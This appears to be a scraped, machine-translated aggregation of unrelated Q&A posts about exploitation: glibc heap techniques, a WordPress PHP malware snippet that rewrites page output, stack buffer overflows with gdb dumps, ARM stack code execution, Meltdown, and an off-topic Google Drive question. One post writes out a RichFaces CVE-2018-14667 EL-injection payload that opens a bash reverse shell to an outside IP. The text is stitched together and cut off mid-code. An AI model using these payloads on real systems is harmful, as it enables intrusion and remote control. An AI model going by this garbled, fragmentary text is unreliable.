我一直在寻找没有好结果.
我想知道在文本中解释为Malloc Maleficarum或Malloc Des-Malleficarum的技术在glibc版本2.12.1中是否有效.
在第二个提到的文本中说这些技术是在glibc 2.7和2.8版本中测试的,所以我真的不知道它们是否适用于我的glibc版本.当然我可以测试它们,但是,首先,只有他们自己的技术才真的很难,而另一方面,如果他们不工作我不知道是不是因为glibc版本或我的错.
而且,我还没有发现任何实际的堆漏洞.而且,我也找不到通过这些glibc版本实现的更改.
提前致谢.
我在我的客户端网站(wordpress)的所有php文件的base 64中找到了这个代码,我试图了解它的作用.
我也试图弄清楚它是否是一个应用程序漏洞或直接FTP访问已超过此代码.
一切始于setup_globals_777()和ob_start('mrobh')设置回调的mrobh($content)函数.
然后打电话到gzdecodeit ($decode)麻烦开始的地方.
它似乎获取页面内容并进行更改.现在我正在尝试检测具体的变化并理解所有功能,包括第二个gzdecodeit().
有人可以对此有所了解吗?
电话
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
Run Code Online (Sandbox Code Playgroud)
回调:
function mrobh ($content)
{
@Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
$decoded_content);
} else {
return $decoded_content . gml_777();
}
}
Run Code Online (Sandbox Code Playgroud)
设置功能(可理解)
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
@mkdir($rz); …Run Code Online (Sandbox Code Playgroud) 我试图利用测试程序中的缓冲区溢出来执行任意代码。我在 NetBSD 6 i386 上。这是C代码:
int checkPassword(char *password)
{
char savePassword[64] = {0};
char *logMessage;
int isUser = 0;
int isAdmin = 0;
int i;
if (!strcmp(password, userPassword))
isUser = 1;
strcpy(savePassword, password);
for (i = 0; password[i]; ++i)
password[i] ^= xorKey;
if (!strcmp(password, adminPassword))
isAdmin = 1;
if (!(isAdmin | isUser)) {
/* ... */
}
return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}
Run Code Online (Sandbox Code Playgroud)
我将代码插入savePassword缓冲区 (at %ebp - 0x58)。下面是 GDB …
我知道程序堆栈看起来有点像这样(从高到低):
EIP | EBP | local variables
Run Code Online (Sandbox Code Playgroud)
但我在哪里可以找到%eax,以及其他通用寄存器?是否可以使用缓冲区溢出覆盖它们?
更新:最后,我甚至不必覆盖%eax,因为事实证明该程序%eax在某个时刻指向了用户输入.
我正在学习如何溢出缓冲区。我很难覆盖回信地址。这是我试图利用的易受攻击的代码:
(gdb) disas main
Dump of assembler code for function main:
0x0804845b <+0>: push ebp
0x0804845c <+1>: mov ebp,esp
0x0804845e <+3>: sub esp,0x100
0x08048464 <+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048467 <+12>: add eax,0x4
0x0804846a <+15>: mov eax,DWORD PTR [eax]
0x0804846c <+17>: push eax
0x0804846d <+18>: call 0x8048340 <strlen@plt>
0x08048472 <+23>: add esp,0x4
0x08048475 <+26>: mov edx,eax
0x08048477 <+28>: mov eax,DWORD PTR [ebp+0xc]
0x0804847a <+31>: add eax,0x4
0x0804847d <+34>: mov eax,DWORD PTR [eax]
0x0804847f <+36>: push edx
0x08048480 <+37>: push eax …Run Code Online (Sandbox Code Playgroud) 我一直在关注一些有关缓冲区溢出利用的教程。但是我的问题是,我无法打开根外壳程序,而是总会得到一个普通的用户外壳程序。我检查了以下几点
我重新验证了以下各项,但仍然无法实现实际的root shell:
有人知道可能是什么问题吗?为什么我仍然无法获得root shell?
在此先感谢您的任何建议和提示。最好的Zaphoxx
易受攻击的C代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/bin/sh");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
printf("[+] input: ");
l=read(0,buf,128);
printf("[+] recv: ");
write(1,buf,l);
return 0;
}
int main(){
//setbuf(stdout,0);
setuid(0);
seteuid(0);
vuln();
return 0;
}
Run Code Online (Sandbox Code Playgroud)
python利用脚本创建有效负载: …
我正在尝试在C中编写一个概念证明,演示ARM Cortex-M3上堆栈中的内存缓冲区的代码执行.这将有助于证明正确使用ARM MPU可以防止此类攻击.我想一个快速而肮脏的方法来将一些代码放入堆栈中是从常规函数中复制它然后使用goto跳转到它,如下所示:
static void loopit(void)
{
printf("loopit\n");
while (1);
}
void attack(void)
{
uint8_t buffer[64] __attribute__((aligned(4)));
memcpy(buffer, loopit, sizeof(buffer));
goto *((void *) (int) buffer);
}
Run Code Online (Sandbox Code Playgroud)
我希望当我调用攻击函数时,它会将代码复制到堆栈中,跳转到它,打印消息并进入无限循环.但是,我在故障寄存器中使用以下值获得异常:
HFSR = 0x40000000
CFSR = 0x00020000
PSR = 0x60000000
Run Code Online (Sandbox Code Playgroud)
这似乎是UFSR中的INVSTATE位,表示"非法使用EPSR",我读到的通常是由于BX指令试图跳转到LSB设置为0的地址,处理器将其解释为函数其中包含非Thumb代码,但Cortex-M处理器仅允许Thumb代码.我看到memcpy被赋予了loopit函数的奇数地址,因为我假设编译器正在使用实际内存地址进行ORing 1.所以我认为解决方法是重写我的攻击函数,如下所示:
void attack(void)
{
uint8_t buffer[64] __attribute__((aligned(4)));
memcpy(buffer, ((int) loopit) & ~1, sizeof(buffer));
goto *((void *) ((int) buffer) | 1);
}
Run Code Online (Sandbox Code Playgroud)
但是在这之后我得到了一个与故障寄存器不同的异常:
HFSR = 0x40000000
CFSR = 0x00080000
PSR = 0x81000000
Run Code Online (Sandbox Code Playgroud)
这似乎没有任何意义,UFSR第3位设置意味着"处理器已尝试访问协处理器".看看PC,这次看起来跳跃成功了,这很好,但后来有些东西掉了轨道,CPU看起来正在执行奇怪的指令,而不是进入无限循环.我尝试在goto之前关闭中断并注释掉printf,但没有运气.有什么问题以及如何使其发挥作用?
我目前在虚拟机 JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo 上运行,这使我容易受到 CVE-2018-14667(只能从我的 LAN 访问)。我已经测试了https://seclists.org/fulldisclosure/2018/Nov/47 中提到的有效负载,它工作正常。现在,我试图弄清楚如何生成我自己的有效负载以获得反向 shell。
这是我目前发现的用于生成我自己的有效载荷的信息;
这需要通过 zlib 压缩:
#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}
Run Code Online (Sandbox Code Playgroud)
如何使用 zlib 进行压缩:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Run Code Online (Sandbox Code Playgroud)
然后,使用 base64url 对压缩数据进行编码:
https://simplycalc.com/base64url-encode.php
然后像这样测试它:
不幸的是,每次我收到 HTTP 状态代码 500 时说:
javax.faces.FacesException:解码资源数据时出错
我整晚都在试图解决这个问题,但没有成功,所以我决定在这里问,也许我可以找到解决当前问题的方法。
任何帮助将不胜感激。
谢谢
- - 更新 - -
您可以在此处找到用 Java 编写的 PoC …
众所周知,通过简单地检索可以直接下载任何文件(任何大小)的 Google API 密钥(甚至将视频嵌入网站等),问题是:当在形式:
https://www.googleapis.com/drive/v3/files/### fileId ###?alt=media&key=### API 密钥 ### 插入文件 ID 和 API 密钥。
如果我想嵌入一个已经是 .mp4 格式的视频,这可以工作,但是如果我想将 .mpg 视频嵌入到 HTML 网站:默认情况下,.mpg 格式是不可嵌入的,但它知道Google Drive 会自动将其所有视频文件转换为可在浏览器中播放的各种格式,因此:
如何访问 Google Drive 中视频的不同视频格式?最好,我正在寻找一种编程方式来获取它(如 Node.js 或 PHP)。
我正尝试在Intel Core-i5 4300M CPU 上使用未修补的内核4.8.0-36来利用Ubuntu 16.04的崩溃安全漏洞。
首先,我使用内核模块将秘密数据存储在内核空间中的某个地址:
static __init int initialize_proc(void){
char* key_val = "abcd";
printk("Secret data address = %p\n", key_val);
printk("Value at %p = %s\n", key_val, key_val);
}
Run Code Online (Sandbox Code Playgroud)
printk语句为我提供了机密数据的地址。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Run Code Online (Sandbox Code Playgroud)
然后,我尝试在此位置访问数据,并在下一条指令中使用它来缓存数组的元素。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd …Run Code Online (Sandbox Code Playgroud)